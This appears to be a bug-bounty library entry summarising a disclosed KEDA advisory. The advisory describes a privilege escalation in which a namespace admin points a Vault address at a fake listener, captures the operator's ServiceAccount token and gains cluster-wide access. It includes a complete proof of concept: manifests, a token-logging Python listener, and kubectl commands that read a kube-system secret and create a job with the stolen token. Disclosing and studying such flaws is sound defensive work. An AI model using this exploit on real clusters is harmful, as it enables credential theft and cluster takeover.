# KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication

Namespace admin creates TriggerAuthentication with tenant-controlled Vault address; KEDA operator PUTs its own cluster-privileged ServiceAccount token there, enabling cluster-admin escalation.

- Payout: Research
- Severity: critical
- Program: KEDA
- Found by: cherez0ff, the-vibe-dev, everping, zwindler
- Disclosed: 2026-10-15
- CVE: CVE-2026-77524
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-637c-6jxx-4rwm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-637c-6jxx-4rwm
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:privesc kind:research platform:ghsa sev:critical tech:kubernetes technique:source-review vuln:privilege-escalation vuln:secrets-leak vuln:ssrf

**Target:** KEDA operator (TriggerAuthentication hashiCorpVault scaler auth)
**Root cause:** The hashiCorpVault.address is tenant-controlled and unvalidated, and with authentication: kubernetes and no credential block the operator defaults to presenting its own ServiceAccount token. The prior CVE-2025-68476 fix only checks the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token.
**Steps:**
1. Install KEDA v2.20.0 from unmodified release manifest on kind v1.31.2; grant tenant SA edit ClusterRole plus create on triggerauthentications.keda.sh and scaledobjects.keda.sh in tenant-a.
2. Deploy a fake Vault listener in tenant-a that logs request bodies and returns a valid Vault auth envelope (accepts PUT).
3. Create TriggerAuthentication with `hashiCorpVault.address: http://fake-vault.tenant-a.svc:8200`, `authentication: kubernetes`, no credential block; reference it from a ScaledObject with a cron trigger.
4. Operator reconciles, builds scaler, and PUTs its own SA token: `VAULT-LOGIN PUT /v1/auth/kubernetes/login` body `{"jwt":"eyJ...","role":"poc"}`.
5. Extract jwt from listener logs, build kubeconfig, `kubectl auth whoami` returns `system:serviceaccount:keda:keda-operator`, read kube-system Secret and create batch/jobs cluster-wide.
**How found:** Recognized the prior CVE-2025-68476 fix only validated that loaded bytes look like a Kubernetes ServiceAccount token, which the operator's own token trivially satisfies; then noticed hashiCorpVault.address is unvalidated and credential defaults to the operator's own token path, making the operator authenticate to an attacker server with its privileged identity.
**Exploitation:** Tenant with only namespaced create rights on KEDA CRDs deploys a listener impersonating Vault, points TriggerAuthentication at it, and harvests the operator's projected SA token from the login request. That token has cluster-wide get on */*, batch/jobs and HPA create/delete, */scale update, validatingwebhookconfigurations and apiservices update — enough to read all Secrets, run Jobs in PSA-permissive namespaces like kube-system to reach node filesystem/control-plane kubeconfig, and rewrite cluster admission.
**Escalation:** Cluster-wide Secret read yields tokens for more privileged SAs; cluster-wide batch/jobs create lands pods in kube-system/kyverno to reach node filesystem and control-plane kubeconfig; validatingwebhookconfigurations and apiservices update allow disabling admission or hijacking aggregated API routing.
**Insight:** When a fix adds a content filter on a credential, check whether the operator's own identity passes that filter by construction — here the token-shape check is satisfied by the operator's projected token, so the filter constrains nothing. Also audit any CRD field that becomes an outbound destination (Vault address, webhook URL) for tenant control combined with default credential reuse.

## Proof of concept (copied exactly from the original report)

**TriggerAuthentication and ScaledObject that exfiltrate operator token**

```
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
  hashiCorpVault:
    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation
    authentication: kubernetes
    mount: kubernetes
    role: poc
    secrets:
    - { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
  scaleTargetRef: { name: poc-target }
  pollingInterval: 5
  minReplicaCount: 0
  maxReplicaCount: 2
  triggers:
  - type: cron
    metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
    authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
  replicas: 1
  selector: { matchLabels: { app: poc-target } }
  template:
    metadata: { labels: { app: poc-target } }
    spec:
      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
```

**Fake Vault listener that logs login JWT**

```
import http.server, socketserver, sys, json
    class H(http.server.BaseHTTPRequestHandler):
        def log_message(self,*a): pass
        def _h(self):
            ln=int(self.headers.get('Content-Length') or 0)
            body=self.rfile.read(ln) if ln else b''
            sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
            r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
            self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
    socketserver.TCPServer.allow_reuse_address=True
    with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
```

**Stolen token used to read kube-system secret and create job**

```
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
  | sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
  context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
  user: { token: ${STOLEN} }
EOF

kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# Username  system:serviceaccount:keda:keda-operator

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e

# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn created
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s   1/1   Running   0   8s
```

